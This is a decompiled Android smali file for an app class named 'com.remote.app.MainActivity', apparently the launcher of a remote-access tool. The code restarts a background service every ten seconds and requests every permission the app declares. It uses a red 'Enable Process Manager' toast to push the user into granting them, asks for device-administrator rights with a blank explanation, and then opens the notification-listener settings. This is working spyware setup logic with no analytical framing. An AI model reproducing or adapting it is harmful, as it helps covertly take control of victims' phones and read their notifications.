285 lines
7.9 KiB
Smali
285 lines
7.9 KiB
Smali
.class public Lcom/remote/app/MainActivity;
|
|
.super Landroid/app/Activity;
|
|
.source ""
|
|
|
|
|
|
# instance fields
|
|
.field private a:Landroid/app/admin/DevicePolicyManager;
|
|
|
|
.field private b:Landroid/content/ComponentName;
|
|
|
|
|
|
# direct methods
|
|
.method public constructor <init>()V
|
|
.locals 1
|
|
|
|
invoke-direct {p0}, Landroid/app/Activity;-><init>()V
|
|
|
|
const/4 v0, 0x0
|
|
|
|
iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
|
|
|
|
iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
|
|
|
|
return-void
|
|
.end method
|
|
|
|
.method private a(Landroid/content/ComponentName;)V
|
|
.locals 2
|
|
|
|
const-string v0, "device_policy"
|
|
|
|
invoke-virtual {p0, v0}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
|
|
|
|
move-result-object v0
|
|
|
|
check-cast v0, Landroid/app/admin/DevicePolicyManager;
|
|
|
|
iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
|
|
|
|
iget-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
|
|
|
|
invoke-virtual {v0, p1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
|
|
|
|
move-result v0
|
|
|
|
if-nez v0, :cond_0
|
|
|
|
new-instance v0, Landroid/content/Intent;
|
|
|
|
const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
|
|
|
|
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
|
|
|
|
const-string v1, "android.app.extra.DEVICE_ADMIN"
|
|
|
|
invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
|
|
|
|
const-string p1, "android.app.extra.ADD_EXPLANATION"
|
|
|
|
const-string v1, " "
|
|
|
|
invoke-virtual {v0, p1, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
|
|
|
|
const/16 p1, 0x2f
|
|
|
|
invoke-virtual {p0, v0, p1}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V
|
|
|
|
:cond_0
|
|
return-void
|
|
.end method
|
|
|
|
.method private a()Z
|
|
.locals 2
|
|
|
|
invoke-virtual {p0}, Landroid/app/Activity;->getContentResolver()Landroid/content/ContentResolver;
|
|
|
|
move-result-object v0
|
|
|
|
const-string v1, "enabled_notification_listeners"
|
|
|
|
invoke-static {v0, v1}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
|
|
|
|
move-result-object v0
|
|
|
|
invoke-virtual {p0}, Landroid/app/Activity;->getPackageName()Ljava/lang/String;
|
|
|
|
move-result-object v1
|
|
|
|
if-eqz v0, :cond_0
|
|
|
|
invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
|
|
|
|
move-result v0
|
|
|
|
if-eqz v0, :cond_0
|
|
|
|
const/4 v0, 0x1
|
|
|
|
goto :goto_0
|
|
|
|
:cond_0
|
|
const/4 v0, 0x0
|
|
|
|
:goto_0
|
|
return v0
|
|
.end method
|
|
|
|
|
|
# virtual methods
|
|
.method public a(Landroid/content/Context;[Ljava/lang/String;)V
|
|
.locals 0
|
|
|
|
if-eqz p1, :cond_0
|
|
|
|
if-eqz p2, :cond_0
|
|
|
|
const/4 p1, 0x1
|
|
|
|
invoke-static {p0, p2, p1}, Landroid/support/v4/app/b;->a(Landroid/app/Activity;[Ljava/lang/String;I)V
|
|
|
|
:cond_0
|
|
return-void
|
|
.end method
|
|
|
|
.method protected onActivityResult(IILandroid/content/Intent;)V
|
|
.locals 0
|
|
|
|
invoke-super {p0, p1, p2, p3}, Landroid/app/Activity;->onActivityResult(IILandroid/content/Intent;)V
|
|
|
|
const/16 p3, 0x2f
|
|
|
|
if-ne p1, p3, :cond_0
|
|
|
|
const/4 p1, -0x1
|
|
|
|
if-ne p2, p1, :cond_0
|
|
|
|
new-instance p1, Landroid/content/Intent;
|
|
|
|
const-string p2, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
|
|
|
|
invoke-direct {p1, p2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
|
|
|
|
invoke-virtual {p0, p1}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
|
|
|
|
invoke-virtual {p0}, Landroid/app/Activity;->finish()V
|
|
|
|
:cond_0
|
|
return-void
|
|
.end method
|
|
|
|
.method protected onCreate(Landroid/os/Bundle;)V
|
|
.locals 10
|
|
|
|
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
|
|
|
|
const/high16 p1, 0x7f070000
|
|
|
|
invoke-virtual {p0, p1}, Landroid/app/Activity;->setContentView(I)V
|
|
|
|
new-instance p1, Landroid/content/Intent;
|
|
|
|
const-class v0, Lcom/remote/app/MainService;
|
|
|
|
invoke-direct {p1, p0, v0}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
|
|
|
|
invoke-virtual {p0}, Landroid/app/Activity;->getApplicationContext()Landroid/content/Context;
|
|
|
|
move-result-object v0
|
|
|
|
const/4 v1, 0x0
|
|
|
|
const/4 v2, 0x1
|
|
|
|
invoke-static {v0, v2, p1, v1}, Landroid/app/PendingIntent;->getService(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
|
|
|
|
move-result-object v9
|
|
|
|
const-string p1, "alarm"
|
|
|
|
invoke-virtual {p0, p1}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
|
|
|
|
move-result-object p1
|
|
|
|
move-object v3, p1
|
|
|
|
check-cast v3, Landroid/app/AlarmManager;
|
|
|
|
const/4 v4, 0x2
|
|
|
|
const-wide/16 v5, 0x0
|
|
|
|
const-wide/16 v7, 0x2710
|
|
|
|
invoke-virtual/range {v3 .. v9}, Landroid/app/AlarmManager;->setRepeating(IJJLandroid/app/PendingIntent;)V
|
|
|
|
invoke-direct {p0}, Lcom/remote/app/MainActivity;->a()Z
|
|
|
|
move-result p1
|
|
|
|
if-nez p1, :cond_0
|
|
|
|
invoke-virtual {p0}, Landroid/app/Activity;->getApplicationContext()Landroid/content/Context;
|
|
|
|
move-result-object p1
|
|
|
|
new-array v0, v1, [Ljava/lang/String;
|
|
|
|
:try_start_0
|
|
invoke-virtual {p0}, Landroid/app/Activity;->getPackageManager()Landroid/content/pm/PackageManager;
|
|
|
|
move-result-object v1
|
|
|
|
invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
|
|
|
|
move-result-object v3
|
|
|
|
const/16 v4, 0x1000
|
|
|
|
invoke-virtual {v1, v3, v4}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
|
|
|
|
move-result-object v1
|
|
|
|
iget-object v0, v1, Landroid/content/pm/PackageInfo;->requestedPermissions:[Ljava/lang/String;
|
|
:try_end_0
|
|
.catch Landroid/content/pm/PackageManager$NameNotFoundException; {:try_start_0 .. :try_end_0} :catch_0
|
|
|
|
goto :goto_0
|
|
|
|
:catch_0
|
|
move-exception v1
|
|
|
|
invoke-virtual {v1}, Landroid/content/pm/PackageManager$NameNotFoundException;->printStackTrace()V
|
|
|
|
:goto_0
|
|
const-string v1, "Enable Process Manager\'\n Click back x2\n and Enable all permissions"
|
|
|
|
invoke-static {p1, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
|
|
|
|
move-result-object v1
|
|
|
|
invoke-virtual {v1}, Landroid/widget/Toast;->getView()Landroid/view/View;
|
|
|
|
move-result-object v2
|
|
|
|
const v3, 0x102000b
|
|
|
|
invoke-virtual {v2, v3}, Landroid/view/View;->findViewById(I)Landroid/view/View;
|
|
|
|
move-result-object v2
|
|
|
|
check-cast v2, Landroid/widget/TextView;
|
|
|
|
const/high16 v3, -0x10000
|
|
|
|
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTextColor(I)V
|
|
|
|
sget-object v3, Landroid/graphics/Typeface;->DEFAULT_BOLD:Landroid/graphics/Typeface;
|
|
|
|
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setTypeface(Landroid/graphics/Typeface;)V
|
|
|
|
const/16 v3, 0x11
|
|
|
|
invoke-virtual {v2, v3}, Landroid/widget/TextView;->setGravity(I)V
|
|
|
|
invoke-virtual {v1}, Landroid/widget/Toast;->show()V
|
|
|
|
invoke-virtual {p0, p0, v0}, Lcom/remote/app/MainActivity;->a(Landroid/content/Context;[Ljava/lang/String;)V
|
|
|
|
new-instance v0, Landroid/content/ComponentName;
|
|
|
|
const-class v1, Lcom/remote/app/DeviceAdmin;
|
|
|
|
invoke-direct {v0, p1, v1}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
|
|
|
|
iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
|
|
|
|
iget-object p1, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
|
|
|
|
invoke-direct {p0, p1}, Lcom/remote/app/MainActivity;->a(Landroid/content/ComponentName;)V
|
|
|
|
:cond_0
|
|
return-void
|
|
.end method
|